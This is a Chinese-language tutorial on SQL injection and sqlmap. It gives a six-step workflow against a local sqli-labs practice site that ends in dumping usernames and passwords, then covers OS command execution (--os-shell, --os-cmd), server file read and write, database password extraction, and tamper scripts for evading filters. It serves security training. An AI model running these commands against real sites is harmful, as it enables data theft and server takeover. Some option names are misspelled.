一、什么是SQL注入
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。
1.SQLmap
sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试神器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。
2.支持的数据库:MySQL,Oracle, PostgreSQL, SQL Server, Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。
3.sqlmap支持五种不同的注入模式:
-u /--url
最基本格式 sqlmap -u “http://www.target.com/index.php?id=1”
• -m
从文本中获取多个目标扫描,但是每一个一个 url. sqlmap -m urllist.txt
• -r
从文件中加载 HTTP 请求,这样的话 就不需要在去设定cookie,POST 数据 ......
5.SQLmsp常用函数:
--dbs 返回当前连接的数据库
--current-db 返回当前网站数据库的数据库用户
-D 指定数据库系统的数据库名
--tables 列举数据库表
-T 指定数据库表名
--columns 列举数据库表中的字段
-C 指定数据库表中的字段名
--dump 获取整个表的数据
6.设置回显等级
参数:-v 默认为1:
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认等级)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同事显示HTTP响应页面。
7.设置HTTP数据包相关参数
参数:--data
此参数是把数以POST方式提交,sqlmap会像检测GET参数一样检测POST过去
的参数。
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1"
参数:--cookie
当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。
8.设置HTTP数据包相关参数
HTTP User-Agent 头
参数:--random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。
sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs
sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞
9.设定探测等级
--level
共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。
level>=2的时候就会测试HTTP Cookie。
level>=3的时候就会测试HTTP User-Agent/Referer头。
level=5 的时候会测试HTTP Host。
--users 列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
--current-user 在大多数据库中可以获取到管理数据的用户。
--is-dba 判断当前的用户是否为管理,是的话会返回True。
--proxy 指定一个代理服务器 eg: –proxy http://xxxxx:8080
--os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限。
二、SQLmap“六步”注入法
第一步:判断是否是注入点
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1"
第二步:获取数据库
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" --dbs
第三步:查看当前应用程序所用数据库
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" --current-db
第四步:列出指定数据库的所有表
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" --tables
第五步:读取指定表中的字段名称
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" -T users --colunms
第六步:读取指定字段内容
sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" -T users -C username,password --dump
三、SQLmap进阶
--level 探测等级
一共有5个等级,默认是1。
sqlmap使用的payload可以在xml\payloads中看到,也可以根据相应的格式添加自己的payload,5级包含的payload最多。
http cookie在2级时可以检测
HTTP user-Agent/Referer在3级时就会检测
判断当前数据库用户权限
sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --is-dba
–roles 列出数据库管理员角色
如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles
--referer HTTPReferer头
当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,如--referer https://mp.mysite.net
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell
–os-cmd,–os-shell 运行任意操作系统命令
选择后台语言
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami
–file-read 从数据库服务器中读取文件
该命令用于读取执行文件,当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
–file-write –file-dest 上传文件到数据库服务器中
该命令用于写入本地文件到服务器中。
读取指定数据库用户的密码
sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root
Sqlmap进阶-常用tamper脚本
apostrophemask.py
适用数据库:ALL
作用:将引号替换为utf-8,用于过滤单引号
使用脚本前:tamper("1 AND '1'='1")
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
multiplespaces.py
适用数据库:ALL
作用:围绕sql关键字添加多个空格
使用脚本前:tamper('1 UNION SELECT foobar')
使用脚本后:1 UNION SELECT foobar